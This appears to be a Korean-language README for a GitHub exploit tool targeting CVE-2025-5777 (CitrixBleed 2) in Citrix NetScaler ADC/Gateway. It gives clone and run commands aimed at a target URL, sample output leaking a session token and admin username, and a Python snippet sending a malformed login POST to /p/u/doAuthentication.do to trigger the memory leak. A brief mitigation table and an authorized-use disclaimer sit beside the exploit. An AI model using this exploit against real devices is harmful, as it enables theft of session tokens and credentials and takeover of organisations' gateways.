
CVE-2025-5777 Citrix NetScaler 메모리 누수 악용 코드 (CitrixBleed 2)

이 도구는 Citrix NetScaler ADC/Gateway 장치의 중요한 메모리 공개 취약점인 CVE-2025-5777을 시연합니다. 이 익스플로잇은 잘못된 형식의 인증 요청을 통해 민감한 메모리 내용을 유출합니다.
주요 기능:
✔ XML 응답 구문 분석을 통한 메모리 누수 탐지
✔ 누출된 메모리 영역의 Hex+ASCII 덤프
✔ Burp Suite 호환 요청 형식
✔ 효율적인 테스트를 위한 비동기 요청


git clone https://github.com/bughuntar/CVE-2025-5777.git
cd CVE-2025-5777
pip install requests beautifulsoup4 aiohttp colorama
chmod +x citrix_memory_leak.py
python3 citrix_memory_leak.py https://target-netscaler.com
예상 출력:
+ [+] Memory leak detected!
--- Leaked Memory Hex Dump ---
00000000 73 65 73 73 69 6F 6E 3D 31 32 33 34 35 36 37 38 session=12345678
00000010 55 73 65 72 3A 20 61 64 6D 69 6E 00 00 00 00 00 User: admin.....
| 조치 | 명령/참조 |
|---|---|
| 패치 | Citrix 보안 게시판 |
| WAF 규칙 | Block POST /p/u/doAuthentication.do with malformed params |
| 탐지 | grep 'POST /p/u/doAuthentication.do' netscaler.log |
# Malformed request trigger
async def exploit(target):
async with aiohttp.post(
f"{target}/p/u/doAuthentication.do",
data="login", # Missing equals sign triggers leak
ssl=False
) as response:
await parse_leak(await response.read())
- This tool is for authorized testing ONLY.
- Unauthorized use violates international cybersecurity laws.
전체 면책 조항: DISCLAIMER.md